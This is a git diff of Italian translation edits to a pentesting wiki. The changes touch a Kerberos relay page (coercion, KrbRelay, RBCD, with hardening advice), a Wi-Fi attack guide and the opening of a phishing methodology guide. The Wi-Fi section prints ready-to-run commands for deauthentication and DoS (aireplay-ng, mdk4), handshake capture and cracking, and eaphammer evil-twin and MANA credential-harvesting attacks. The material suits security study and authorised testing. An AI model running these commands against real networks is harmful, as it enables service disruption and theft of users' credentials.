DFSCoerce fa sì che il DC ci invii un biglietto Kerberos `CIFS/DC01`.
- 3.4 **Ritrasmettere l'AP-REQ**
KrbRelay estrae il blob GSS da SMB, lo ripacchetta in un bind LDAP e lo inoltra a `ldap://DC01`—l'autenticazione ha successo perché la **stessa chiave** lo decripta.
KrbRelay estrae il blob GSS da SMB, lo rimodella in un bind LDAP e lo inoltra a `ldap://DC01`—l'autenticazione ha successo perché la **stessa chiave** lo decripta.
- 3.5 **Abuso di LDAP ➜ RBCD ➜ SYSTEM**
```powershell
@ -189,16 +189,16 @@ You now own **NT AUTHORITY\SYSTEM**.
### **Altri percorsi da conoscere**
| Vettore | Trucco | Perché è importante |
|--------|-------|----------------|
|---------|--------|---------------------|
| **AuthIP / IPSec** | Server falso invia un **payload GSS-ID** con qualsiasi SPN; il client costruisce un AP-REQ direttamente a te | Funziona anche attraverso sottoreti; credenziali macchina per impostazione predefinita |
| **DCOM / MSRPC** | Risolutore OXID malevolo costringe il client ad autenticarsi su SPN e porta arbitrari | Privilegi locali puri; elude il firewall |
| **DCOM / MSRPC** | Risolutore OXID malevolo costringe il client ad autenticarsi su SPN e porta arbitrari | Priv-esc *locale* puro; elude il firewall |
| **AD CS Web Enroll** | Inoltra il ticket della macchina a `HTTP/CA` e ottieni un certificato, poi **PKINIT** per coniare TGT | Elude le difese di firma LDAP |
| **Shadow Credentials** | Scrivi `msDS-KeyCredentialLink`, poi PKINIT con coppia di chiavi contraffatta | Non è necessario aggiungere un account computer |
| **Shadow Credentials** | Scrivi `msDS-KeyCredentialLink`, poi PKINIT con coppia di chiavi contraffatta | Nessun bisogno di aggiungere un account computer |
### **Risoluzione dei problemi**
| Errore | Significato | Correzione |
|-------|---------|-----|
|--------|-------------|------------|
| `KRB_AP_ERR_MODIFIED` | Chiave del ticket ≠ chiave di destinazione | Host/SPN errato |
| `KRB_AP_ERR_SKEW` | Orologio > 5 min di offset | Sincronizza l'ora o usa `w32tm` |
| Il bind LDAP fallisce | Firma forzata | Usa il percorso AD CS o disabilita la firma |
@ -217,8 +217,8 @@ You now own **NT AUTHORITY\SYSTEM**.
1. **Forza la firma LDAP e SMB + EPA** su ogni server.
2. **Dividi gli SPN** in modo che HTTP non sia sullo stesso account di CIFS/LDAP.
3. Patching dei vettori di coercizione (PetitPotam KB5005413, DFS, AuthIP).
4. Imposta **`ms-DS-MachineAccountQuota = 0`** per fermare le unioni di computer non autorizzate.
5. Allerta su **Evento 4649** e accessi Kerberos loopback imprevisti.
4. Imposta **`ms-DS-MachineAccountQuota = 0`** per fermare le unioni di computer non autorizzati.
5. Allerta su **Evento 4649** e accessi Kerberos loopback inaspettati.

87
src/generic-methodologies-and-resources/pentesting-wifi/README.md
View File

@ -21,6 +21,7 @@ iwlist wlan0 scan #Scan available wifis
### Hijacker & NexMon (Wi-Fi interno Android)
{{#ref}}
enable-nexmon-monitor-and-injection-on-android.md
{{#endref}}
@ -65,10 +66,10 @@ Questo strumento automatizza gli attacchi **WPS/WEP/WPA-PSK**. Esso automaticame
- Scansiona per possibili reti - E ti consente di selezionare la vittima/e
- Se WEP - Lancia attacchi WEP
- Se WPA-PSK
- Se WPS: attacco Pixie dust e attacco di bruteforce (fai attenzione, l'attacco di bruteforce potrebbe richiedere molto tempo). Nota che non prova PIN nulli o PIN generati/database.
- Se WPS: attacco Pixie dust e attacco di brute-force (fai attenzione, l'attacco di brute-force potrebbe richiedere molto tempo). Nota che non prova PIN nulli o PIN generati/database.
- Prova a catturare il PMKID dall'AP per decifrarlo
- Prova a disautenticare i client dell'AP per catturare un handshake
- Se PMKID o Handshake, prova a bruteforce usando le prime 5000 password.
- Se PMKID o Handshake, prova a fare brute-force usando le prime 5000 password.
## Riepilogo Attacchi
@ -82,8 +83,8 @@ Questo strumento automatizza gli attacchi **WPS/WEP/WPA-PSK**. Esso automaticame
- Cracking **WEP** (diversi strumenti e metodi)
- **WPA-PSK**
- **WPS** pin "Brute-Force"
- **WPA PMKID** bruteforce
- \[DoS +] **Cattura handshake WPA** + Cracking
- **WPA PMKID** brute-force
- \[DoS +] **cattura handshake WPA** + Cracking
- **WPA-MGT**
- **Cattura Nome Utente**
- **Bruteforce** Credenziali
@ -110,7 +111,7 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
- -0 significa deautenticazione
- 1 è il numero di deautenticazioni da inviare (puoi inviarne più di una se lo desideri); 0 significa inviarle continuamente
- -a 00:14:6C:7E:40:80 è l'indirizzo MAC del punto di accesso
- -c 00:0F:B5:34:30:30 è l'indirizzo MAC del client da deautenticare; se questo è omesso, viene inviata una deautenticazione broadcast (non sempre funziona)
- -c 00:0F:B5:34:30:30 è l'indirizzo MAC del client da deautenticare; se questo è omesso, viene inviata una deautenticazione in broadcast (non sempre funziona)
- ath0 è il nome dell'interfaccia
### Pacchetti di Disassociazione
@ -142,7 +143,7 @@ mdk4 wlan0mon b -a -w nta -m
```
**MODALITÀ D'ATTACCO a: Denial-Of-Service di Autenticazione**
Inviare frame di autenticazione a tutti i punti di accesso (AP) accessibili entro portata può sovraccaricare questi AP, specialmente quando sono coinvolti numerosi client. Questo traffico intenso può portare a instabilità del sistema, causando il blocco o persino il riavvio di alcuni AP.
Inviare frame di autenticazione a tutti i punti di accesso (AP) accessibili entro portata può sovraccaricare questi AP, specialmente quando sono coinvolti numerosi client. Questo traffico intenso può portare a instabilità del sistema, causando il blocco o persino il ripristino di alcuni AP.
```bash
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
@ -152,11 +153,11 @@ mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
```
**ATTACK MODE p: SSID Probing and Bruteforcing**
Il probing degli Access Points (APs) verifica se un SSID è correttamente rivelato e conferma il raggio dell'AP. Questa tecnica, unita al **bruteforcing di SSID nascosti** con o senza una wordlist, aiuta a identificare e accedere a reti nascoste.
Il probing degli Access Points (AP) verifica se un SSID è correttamente rivelato e conferma il raggio dell'AP. Questa tecnica, unita al **bruteforcing di SSID nascosti** con o senza una wordlist, aiuta a identificare e accedere a reti nascoste.
**ATTACK MODE m: Michael Countermeasures Exploitation**
Inviare pacchetti casuali o duplicati a diverse code QoS può attivare le contromisure Michael su **TKIP APs**, portando a un'interruzione dell'AP di un minuto. Questo metodo è una tattica efficiente di attacco **DoS** (Denial of Service).
Inviare pacchetti casuali o duplicati a diverse code QoS può attivare le contromisure Michael su **TKIP AP**, portando a un'interruzione dell'AP di un minuto. Questo metodo è una tattica efficiente di attacco **DoS** (Denial of Service).
```bash
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
@ -171,7 +172,7 @@ mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
```
**ATTACK MODE s: Attacchi per reti mesh IEEE 802.11s**
Vari attacchi sulla gestione dei link e sul routing nelle reti mesh.
Vari attacchi alla gestione dei link e al routing nelle reti mesh.
**ATTACK MODE w: Confusione WIDS**
@ -182,7 +183,7 @@ mkd4 -e <SSID> -c <channel> [-z]
```
**ATTACK MODE f: Packet Fuzzer**
Un packet fuzzer con diverse fonti di pacchetti e un set completo di modificatori per la manipolazione dei pacchetti.
Un packet fuzzer con diverse fonti di pacchetti e un insieme completo di modificatori per la manipolazione dei pacchetti.
### **Airggedon**
@ -198,10 +199,10 @@ WPS (Wi-Fi Protected Setup) semplifica il processo di connessione dei dispositiv
Ci sono 2 strumenti principali per eseguire questa azione: Reaver e Bully.
- **Reaver** è stato progettato per essere un attacco robusto e pratico contro WPS, ed è stato testato su una vasta gamma di punti di accesso e implementazioni WPS.
- **Bully** è una **nuova implementazione** dell'attacco di forza bruta WPS, scritto in C. Ha diversi vantaggi rispetto al codice reaver originale: meno dipendenze, prestazioni migliorate in memoria e CPU, gestione corretta dell'endianness e un set di opzioni più robusto.
- **Reaver** è stato progettato per essere un attacco robusto e pratico contro WPS, ed è stato testato contro una vasta gamma di punti di accesso e implementazioni WPS.
- **Bully** è una **nuova implementazione** dell'attacco di forza bruta WPS, scritto in C. Ha diversi vantaggi rispetto al codice reaver originale: meno dipendenze, prestazioni migliorate di memoria e CPU, gestione corretta dell'endianness e un insieme di opzioni più robusto.
L'attacco sfrutta la **vulnerabilità del PIN WPS**, in particolare la sua esposizione delle prime quattro cifre e il ruolo dell'ultima cifra come checksum, facilitando l'attacco di forza bruta. Tuttavia, le difese contro gli attacchi di forza bruta, come il **blocco degli indirizzi MAC** degli aggressori, richiedono la **rotazione degli indirizzi MAC** per continuare l'attacco.
L'attacco sfrutta la **vulnerabilità del PIN WPS**, in particolare la sua esposizione delle prime quattro cifre e il ruolo dell'ultima cifra come checksum, facilitando l'attacco di forza bruta. Tuttavia, le difese contro gli attacchi di forza bruta, come **il blocco degli indirizzi MAC** degli aggressori, richiedono **la rotazione degli indirizzi MAC** per continuare l'attacco.
Una volta ottenuto il PIN WPS con strumenti come Bully o Reaver, l'attaccante può dedurre il WPA/WPA2 PSK, garantendo **accesso persistente alla rete**.
```bash
@ -217,7 +218,7 @@ Questo approccio raffinato mira ai PIN WPS utilizzando vulnerabilità conosciute
### Attacco WPS Pixie Dust
**Dominique Bongard** ha scoperto un difetto in alcuni Access Point (AP) riguardo alla creazione di codici segreti, noti come **nonces** (**E-S1** e **E-S2**). Se questi nonces possono essere scoperti, decifrare il PIN WPS dell'AP diventa facile. L'AP rivela il PIN all'interno di un codice speciale (hash) per dimostrare che è legittimo e non un AP falso (rogue). Questi nonces sono essenzialmente le "chiavi" per sbloccare il "cassaforte" che contiene il PIN WPS. Maggiori informazioni possono essere trovate [qui](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>).
**Dominique Bongard** ha scoperto un difetto in alcuni Access Point (AP) riguardante la creazione di codici segreti, noti come **nonces** (**E-S1** e **E-S2**). Se questi nonces possono essere scoperti, decifrare il PIN WPS dell'AP diventa facile. L'AP rivela il PIN all'interno di un codice speciale (hash) per dimostrare che è legittimo e non un AP falso (rogue). Questi nonces sono essenzialmente le "chiavi" per sbloccare il "cassaforte" che contiene il PIN WPS. Maggiori informazioni possono essere trovate [qui](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>).
In termini semplici, il problema è che alcuni AP non utilizzavano chiavi abbastanza casuali per crittografare il PIN durante il processo di connessione. Questo rende il PIN vulnerabile a essere indovinato dall'esterno della rete (attacco di brute force offline).
```bash
@ -303,14 +304,14 @@ _Ho notato che alcuni handshake catturati con questo strumento non potevano esse
### Cattura dell'handshake
Un attacco alle reti **WPA/WPA2** può essere eseguito catturando un **handshake** e tentando di **crackare** la password **offline**. Questo processo implica il monitoraggio della comunicazione di una rete specifica e del **BSSID** su un determinato **canale**. Ecco una guida semplificata:
Un attacco alle reti **WPA/WPA2** può essere eseguito catturando un **handshake** e tentando di **crackare** la password **offline**. Questo processo implica il monitoraggio della comunicazione di una rete specifica e del **BSSID** su un **canale** particolare. Ecco una guida semplificata:
1. Identificare il **BSSID**, il **canale** e un **client connesso** della rete target.
2. Utilizzare `airodump-ng` per monitorare il traffico di rete sul canale e BSSID specificati, sperando di catturare un handshake. Il comando apparirà così:
```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
```
3. Per aumentare la possibilità di catturare un handshake, disconnetti momentaneamente il client dalla rete per forzare una nuova autenticazione. Questo può essere fatto utilizzando il comando `aireplay-ng`, che invia pacchetti di disautenticazione al client:
3. Per aumentare la possibilità di catturare un handshake, disconnetti momentaneamente il client dalla rete per forzare una re-autenticazione. Questo può essere fatto utilizzando il comando `aireplay-ng`, che invia pacchetti di deautenticazione al client:
```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
```
@ -352,7 +353,7 @@ In **configurazioni WiFi aziendali, incontrerai vari metodi di autenticazione**,
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
```
1. **EAP-GTC (Generic Token Card)**:
- Questo metodo supporta i token hardware e le password monouso all'interno di EAP-PEAP. A differenza di MSCHAPv2, non utilizza una sfida peer e invia le password in chiaro al punto di accesso, ponendo un rischio per attacchi di downgrade.
- Questo metodo supporta i token hardware e le password monouso all'interno di EAP-PEAP. A differenza di MSCHAPv2, non utilizza una sfida tra pari e invia le password in chiaro al punto di accesso, ponendo un rischio per attacchi di downgrade.
2. **EAP-MD5 (Message Digest 5)**:
- Comporta l'invio dell'hash MD5 della password dal client. **Non è raccomandato** a causa della vulnerabilità agli attacchi di dizionario, della mancanza di autenticazione del server e dell'incapacità di generare chiavi WEP specifiche per la sessione.
3. **EAP-TLS (Transport Layer Security)**:
@ -368,28 +369,28 @@ Puoi trovare ulteriori informazioni su questi metodi di autenticazione [qui](htt
### Cattura Nome Utente
Leggendo [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) sembra che se stai usando **EAP** i **messaggi "Identity"** devono essere **supportati**, e il **nome utente** verrà inviato in **chiaro** nei messaggi **"Response Identity"**.
Leggendo [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) sembra che se stai usando **EAP** i **messaggi "Identità"** devono essere **supportati**, e il **nome utente** verrà inviato in **chiaro** nei messaggi di **"Risposta Identità"**.
Anche utilizzando uno dei metodi di autenticazione più sicuri: **PEAP-EAP-TLS**, è possibile **catturare il nome utente inviato nel protocollo EAP**. Per farlo, **cattura una comunicazione di autenticazione** (avvia `airodump-ng` all'interno di un canale e `wireshark` nella stessa interfaccia) e filtra i pacchetti per `eapol`.\
All'interno del pacchetto "**Response, Identity**", apparirà il **nome utente** del client.
All'interno del pacchetto "**Risposta, Identità**", apparirà il **nome utente** del client.
![](<../../images/image (850).png>)
### Identità Anonime
Il nascondimento dell'identità è supportato sia da EAP-PEAP che da EAP-TTLS. Nel contesto di una rete WiFi, una richiesta EAP-Identity è tipicamente avviata dal punto di accesso (AP) durante il processo di associazione. Per garantire la protezione dell'anonimato dell'utente, la risposta del client EAP sul dispositivo dell'utente contiene solo le informazioni essenziali necessarie per il server RADIUS iniziale per elaborare la richiesta. Questo concetto è illustrato attraverso i seguenti scenari:
Il nascondimento dell'identità è supportato sia da EAP-PEAP che da EAP-TTLS. Nel contesto di una rete WiFi, una richiesta di EAP-Identità è tipicamente avviata dal punto di accesso (AP) durante il processo di associazione. Per garantire la protezione dell'anonimato dell'utente, la risposta del client EAP sul dispositivo dell'utente contiene solo le informazioni essenziali necessarie affinché il server RADIUS iniziale elabori la richiesta. Questo concetto è illustrato attraverso i seguenti scenari:
- EAP-Identity = anonimo
- In questo scenario, tutti gli utenti utilizzano il pseudonimo "anonimo" come identificatore utente. Il server RADIUS iniziale funge da server EAP-PEAP o EAP-TTLS, responsabile della gestione del lato server del protocollo PEAP o TTLS. Il metodo di autenticazione interno (protetto) è quindi gestito localmente o delegato a un server RADIUS remoto (domestico).
- EAP-Identity = anonimo@realm_x
- In questa situazione, gli utenti di diversi domini nascondono le loro identità mentre indicano i rispettivi domini. Questo consente al server RADIUS iniziale di inoltrare le richieste EAP-PEAP o EAP-TTLS ai server RADIUS nei loro domini domestici, che fungono da server PEAP o TTLS. Il server RADIUS iniziale opera esclusivamente come nodo di relay RADIUS.
- In alternativa, il server RADIUS iniziale può funzionare come server EAP-PEAP o EAP-TTLS e gestire il metodo di autenticazione protetta o inoltrarlo a un altro server. Questa opzione facilita la configurazione di politiche distinte per vari domini.
- EAP-Identità = anonimo
- In questo scenario, tutti gli utenti utilizzano il pseudonimo "anonimo" come identificatore utente. Il server RADIUS iniziale funge da server EAP-PEAP o EAP-TTLS, responsabile della gestione del lato server del protocollo PEAP o TTLS. Il metodo di autenticazione interno (protetto) viene quindi gestito localmente o delegato a un server RADIUS remoto (domicilio).
- EAP-Identità = anonimo@realm_x
- In questa situazione, gli utenti di diversi domini nascondono le loro identità mentre indicano i rispettivi domini. Questo consente al server RADIUS iniziale di proxy le richieste EAP-PEAP o EAP-TTLS ai server RADIUS nei loro domini di origine, che fungono da server PEAP o TTLS. Il server RADIUS iniziale opera esclusivamente come nodo di relay RADIUS.
- In alternativa, il server RADIUS iniziale può funzionare come server EAP-PEAP o EAP-TTLS e gestire il metodo di autenticazione protetto o inoltrarlo a un altro server. Questa opzione facilita la configurazione di politiche distinte per vari domini.
In EAP-PEAP, una volta stabilito il tunnel TLS tra il server PEAP e il client PEAP, il server PEAP avvia una richiesta EAP-Identity e la trasmette attraverso il tunnel TLS. Il client risponde a questa seconda richiesta EAP-Identity inviando una risposta EAP-Identity contenente la vera identità dell'utente attraverso il tunnel crittografato. Questo approccio previene efficacemente la rivelazione della vera identità dell'utente a chiunque stia ascoltando il traffico 802.11.
In EAP-PEAP, una volta stabilito il tunnel TLS tra il server PEAP e il client PEAP, il server PEAP avvia una richiesta di EAP-Identità e la trasmette attraverso il tunnel TLS. Il client risponde a questa seconda richiesta di EAP-Identità inviando una risposta di EAP-Identità contenente la vera identità dell'utente attraverso il tunnel crittografato. Questo approccio previene efficacemente la rivelazione della vera identità dell'utente a chiunque stia ascoltando il traffico 802.11.
EAP-TTLS segue una procedura leggermente diversa. Con EAP-TTLS, il client tipicamente si autentica utilizzando PAP o CHAP, protetti dal tunnel TLS. In questo caso, il client include un attributo User-Name e un attributo Password o CHAP-Password nel messaggio TLS iniziale inviato dopo l'instaurazione del tunnel.
Indipendentemente dal protocollo scelto, il server PEAP/TTLS acquisisce conoscenza della vera identità dell'utente dopo che il tunnel TLS è stato stabilito. La vera identità può essere rappresentata come user@realm o semplicemente user. Se il server PEAP/TTLS è anche responsabile dell'autenticazione dell'utente, ora possiede l'identità dell'utente e procede con il metodo di autenticazione protetto dal tunnel TLS. In alternativa, il server PEAP/TTLS può inoltrare una nuova richiesta RADIUS al server RADIUS domestico dell'utente. Questa nuova richiesta RADIUS omette il livello del protocollo PEAP o TTLS. Nei casi in cui il metodo di autenticazione protetta è EAP, i messaggi EAP interni vengono trasmessi al server RADIUS domestico senza l'involucro EAP-PEAP o EAP-TTLS. L'attributo User-Name del messaggio RADIUS in uscita contiene la vera identità dell'utente, sostituendo l'User-Name anonimo della richiesta RADIUS in arrivo. Quando il metodo di autenticazione protetta è PAP o CHAP (supportato solo da TTLS), l'attributo User-Name e altri attributi di autenticazione estratti dal payload TLS vengono sostituiti nel messaggio RADIUS in uscita, sostituendo l'User-Name anonimo e gli attributi TTLS EAP-Message trovati nella richiesta RADIUS in arrivo.
Indipendentemente dal protocollo scelto, il server PEAP/TTLS acquisisce conoscenza della vera identità dell'utente dopo che il tunnel TLS è stato stabilito. La vera identità può essere rappresentata come user@realm o semplicemente user. Se il server PEAP/TTLS è anche responsabile dell'autenticazione dell'utente, ora possiede l'identità dell'utente e procede con il metodo di autenticazione protetto dal tunnel TLS. In alternativa, il server PEAP/TTLS può inoltrare una nuova richiesta RADIUS al server RADIUS domestico dell'utente. Questa nuova richiesta RADIUS omette il livello del protocollo PEAP o TTLS. Nei casi in cui il metodo di autenticazione protetto è EAP, i messaggi EAP interni vengono trasmessi al server RADIUS domestico senza l'involucro EAP-PEAP o EAP-TTLS. L'attributo User-Name del messaggio RADIUS in uscita contiene la vera identità dell'utente, sostituendo l'User-Name anonimo della richiesta RADIUS in arrivo. Quando il metodo di autenticazione protetto è PAP o CHAP (supportato solo da TTLS), l'attributo User-Name e altri attributi di autenticazione estratti dal payload TLS vengono sostituiti nel messaggio RADIUS in uscita, sostituendo l'User-Name anonimo e gli attributi TTLS EAP-Message trovati nella richiesta RADIUS in arrivo.
Per ulteriori informazioni controlla [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
@ -407,32 +408,32 @@ Puoi anche eseguire questo attacco utilizzando `eaphammer`:
--password bananas \
--user-list users.txt
```
## Teoria degli attacchi ai Client
## Teoria degli attacchi ai client
### Selezione della Rete e Roaming
### Selezione della rete e roaming
- Il protocollo 802.11 definisce come una stazione si unisce a un Extended Service Set (ESS) ma non specifica i criteri per selezionare un ESS o un access point (AP) al suo interno.
- Le stazioni possono passare da un AP all'altro condividendo lo stesso ESSID, mantenendo la connettività in un edificio o in un'area.
- Il protocollo richiede l'autenticazione della stazione all'ESS ma non impone l'autenticazione dell'AP alla stazione.
### Elenchi di Reti Preferite (PNL)
### Elenchi di reti preferite (PNL)
- Le stazioni memorizzano l'ESSID di ogni rete wireless a cui si connettono nel loro Elenco di Reti Preferite (PNL), insieme ai dettagli di configurazione specifici della rete.
- Il PNL viene utilizzato per connettersi automaticamente a reti conosciute, migliorando l'esperienza dell'utente semplificando il processo di connessione.
### Scansione Passiva
### Scansione passiva
- Gli AP trasmettono periodicamente frame beacon, annunciando la loro presenza e caratteristiche, incluso l'ESSID dell'AP a meno che la trasmissione non sia disabilitata.
- Durante la scansione passiva, le stazioni ascoltano i frame beacon. Se l'ESSID di un beacon corrisponde a un'entrata nel PNL della stazione, la stazione può connettersi automaticamente a quell'AP.
- La conoscenza del PNL di un dispositivo consente potenziali sfruttamenti mimando l'ESSID di una rete conosciuta, ingannando il dispositivo a connettersi a un AP malevolo.
### Probing Attivo
### Probing attivo
- Il probing attivo implica che le stazioni inviino richieste di probing per scoprire AP vicini e le loro caratteristiche.
- Le richieste di probing dirette mirano a un ESSID specifico, aiutando a rilevare se una rete particolare è entro portata, anche se è una rete nascosta.
- Le richieste di probing broadcast hanno un campo SSID nullo e vengono inviate a tutti gli AP vicini, consentendo alla stazione di controllare eventuali reti preferite senza rivelare i contenuti del suo PNL.
## AP Semplice con reindirizzamento a Internet
## AP semplice con reindirizzamento a Internet
Prima di spiegare come eseguire attacchi più complessi, verrà spiegato **come** semplicemente **creare** un **AP** e **reindirizzare** il suo **traffico** a un'interfaccia connessa **a** Internet.
@ -518,13 +519,13 @@ Oppure usando Airgeddon: `Options: 5,6,7,8,9 (all'interno del menu attacco Evil
![](<../../images/image (1088).png>)
Si prega di notare che per impostazione predefinita, se un ESSID nel PNL è salvato come protetto da WPA, il dispositivo non si connetterà automaticamente a un Evil Twin aperto. Puoi provare a DoS l'AP reale e sperare che l'utente si connetta manualmente al tuo Evil Twin aperto, oppure puoi DoS l'AP reale e utilizzare un WPA Evil Twin per catturare il handshake (utilizzando questo metodo non sarai in grado di far connettere la vittima a te poiché non conosci il PSK, ma puoi catturare il handshake e provare a decifrarlo).
Si prega di notare che per impostazione predefinita, se un ESSID nel PNL è salvato come protetto da WPA, il dispositivo non si connetterà automaticamente a un Evil Twin aperto. Puoi provare a DoS il vero AP e sperare che l'utente si connetta manualmente al tuo Evil Twin aperto, oppure potresti DoS il vero AP e usare un WPA Evil Twin per catturare il handshake (utilizzando questo metodo non sarai in grado di far connettere la vittima a te poiché non conosci il PSK, ma puoi catturare l'handshake e provare a decifrarlo).
_Alcuni OS e AV avviseranno l'utente che connettersi a una rete aperta è pericoloso..._
### WPA/WPA2 Evil Twin
Puoi creare un **Evil Twin utilizzando WPA/2** e se i dispositivi sono configurati per connettersi a quel SSID con WPA/2, cercheranno di connettersi. Comunque, **per completare il 4-way-handshake** devi anche **conoscere** la **password** che il client utilizzerà. Se **non la conosci**, la **connessione non sarà completata**.
Puoi creare un **Evil Twin usando WPA/2** e se i dispositivi sono configurati per connettersi a quel SSID con WPA/2, cercheranno di connettersi. Comunque, **per completare il 4-way-handshake** devi anche **conoscere** la **password** che il client utilizzerà. Se **non la conosci**, la **connessione non sarà completata**.
```bash
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
```
@ -541,7 +542,7 @@ hostapd-wpe ./victim/victim.conf -s
```
Nel file di configurazione puoi selezionare molte cose diverse come ssid, canale, file utente, cret/key, parametri dh, versione wpa e auth...
[**Utilizzando hostapd-wpe con EAP-TLS per consentire a qualsiasi certificato di effettuare il login.**](evil-twin-eap-tls.md)
[**Utilizzando hostapd-wpe con EAP-TLS per consentire a qualsiasi certificato di accedere.**](evil-twin-eap-tls.md)
**Utilizzando EAPHammer**
```bash
@ -591,11 +592,11 @@ E guarda il nuovo **"tab Decrypted TLS"**:
![](<../../images/image (231).png>)
## KARMA, MANA, Loud MANA e attacco ai beacon noti
## KARMA, MANA, Loud MANA e attacco a beacon noti
### Liste nere/rosse di ESSID e MAC
Diversi tipi di Liste di Filtri di Controllo degli Accessi ai Media (MFACL) e i loro corrispondenti modi ed effetti sul comportamento di un Access Point (AP) fraudolento:
Diversi tipi di Liste di Filtri di Controllo degli Accessi ai Media (MFACLs) e i loro corrispondenti modi ed effetti sul comportamento di un Access Point (AP) fraudolento:
1. **Whitelist basata su MAC**:
- L'AP fraudolento risponderà solo alle richieste di probe da dispositivi specificati nella whitelist, rimanendo invisibile a tutti gli altri non elencati.
@ -638,15 +639,15 @@ L'attacco MANA opera monitorando sia le richieste di probe dirette che quelle br
```
### Loud MANA
Un **attacco Loud MANA** è una strategia avanzata per quando i dispositivi non utilizzano il probing diretto o quando le loro Liste di Rete Preferite (PNL) sono sconosciute all'attaccante. Funziona sul principio che **i dispositivi nella stessa area probabilmente condividono alcuni nomi di rete nelle loro PNL**. Invece di rispondere in modo selettivo, questo attacco trasmette risposte di probing per ogni nome di rete (ESSID) trovato nelle PNL combinate di tutti i dispositivi osservati. Questo approccio ampio aumenta la possibilità che un dispositivo riconosca una rete familiare e tenti di connettersi al Punto di Accesso (AP) malevolo.
Un **attacco Loud MANA** è una strategia avanzata per quando i dispositivi non utilizzano il probing diretto o quando le loro Liste di Rete Preferite (PNL) sono sconosciute all'attaccante. Funziona sul principio che **i dispositivi nella stessa area sono probabilmente inclini a condividere alcuni nomi di rete nelle loro PNL**. Invece di rispondere in modo selettivo, questo attacco trasmette risposte di probing per ogni nome di rete (ESSID) trovato nelle PNL combinate di tutti i dispositivi osservati. Questo approccio ampio aumenta la possibilità che un dispositivo riconosca una rete familiare e tenti di connettersi al Punto di Accesso (AP) malevolo.
```bash
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
```
### Known Beacon attack
Quando l'**attacco Loud MANA** potrebbe non essere sufficiente, l'**attacco Known Beacon** presenta un altro approccio. Questo metodo **forza il processo di connessione simulando un AP che risponde a qualsiasi nome di rete, ciclano attraverso un elenco di potenziali ESSID** derivati da una wordlist. Questo simula la presenza di numerose reti, sperando di abbinare un ESSID all'interno della PNL della vittima, inducendo un tentativo di connessione all'AP fabbricato. L'attacco può essere amplificato combinandolo con l'opzione `--loud` per un tentativo più aggressivo di catturare i dispositivi.
Quando l'**attacco Loud MANA** potrebbe non essere sufficiente, l'**attacco Known Beacon** presenta un altro approccio. Questo metodo **forza il processo di connessione simulando un AP che risponde a qualsiasi nome di rete, ciclando attraverso un elenco di potenziali ESSID** derivati da una wordlist. Questo simula la presenza di numerose reti, sperando di abbinare un ESSID all'interno del PNL della vittima, inducendo un tentativo di connessione all'AP fabbricato. L'attacco può essere amplificato combinandolo con l'opzione `--loud` per un tentativo più aggressivo di catturare i dispositivi.
Eaphammer ha implementato questo attacco come un attacco MANA in cui tutti gli ESSID all'interno di un elenco sono caricati (puoi anche combinare questo con `--loud` per creare un attacco Loud MANA + Known beacons):
Eaphammer ha implementato questo attacco come un attacco MANA in cui tutti gli ESSID all'interno di un elenco vengono caricati (puoi anche combinare questo con `--loud` per creare un attacco Loud MANA + Known beacons):
```bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
```
@ -663,9 +664,9 @@ L'**attacco Known Beacon Burst** comporta la **trasmissione rapida di frame beac
```
## Wi-Fi Direct
**Wi-Fi Direct** è un protocollo che consente ai dispositivi di collegarsi direttamente tra loro utilizzando il Wi-Fi senza la necessità di un punto di accesso wireless tradizionale. Questa capacità è integrata in vari dispositivi Internet of Things (IoT), come stampanti e televisori, facilitando la comunicazione diretta tra dispositivi. Una caratteristica notevole di Wi-Fi Direct è che un dispositivo assume il ruolo di punto di accesso, noto come proprietario del gruppo, per gestire la connessione.
**Wi-Fi Direct** è un protocollo che consente ai dispositivi di collegarsi direttamente tra loro utilizzando Wi-Fi senza la necessità di un punto di accesso wireless tradizionale. Questa capacità è integrata in vari dispositivi Internet of Things (IoT), come stampanti e televisori, facilitando la comunicazione diretta tra dispositivi. Una caratteristica notevole di Wi-Fi Direct è che un dispositivo assume il ruolo di punto di accesso, noto come proprietario del gruppo, per gestire la connessione.
La sicurezza per le connessioni Wi-Fi Direct è stabilita attraverso **Wi-Fi Protected Setup (WPS)**, che supporta diversi metodi per il pairing sicuro, tra cui:
La sicurezza per le connessioni Wi-Fi Direct è stabilita tramite **Wi-Fi Protected Setup (WPS)**, che supporta diversi metodi per il pairing sicuro, tra cui:
- **Push-Button Configuration (PBC)**
- **PIN entry**

54
src/generic-methodologies-and-resources/phishing-methodology/README.md
View File

@ -6,7 +6,7 @@
1. Riconoscere la vittima
1. Selezionare il **dominio della vittima**.
2. Eseguire alcune basi di enumerazione web **cercando portali di accesso** utilizzati dalla vittima e **decidere** quale impersonare.
2. Eseguire alcune enumerazioni web di base **cercando portali di accesso** utilizzati dalla vittima e **decidere** quale impersonare.
3. Utilizzare alcune **OSINT** per **trovare email**.
2. Preparare l'ambiente
1. **Acquistare il dominio** che si intende utilizzare per la valutazione di phishing
@ -30,7 +30,7 @@
homograph-attacks.md
{{#endref}}
- **Trasposizione:** **scambia due lettere** all'interno del nome di dominio (es., zelsetr.com).
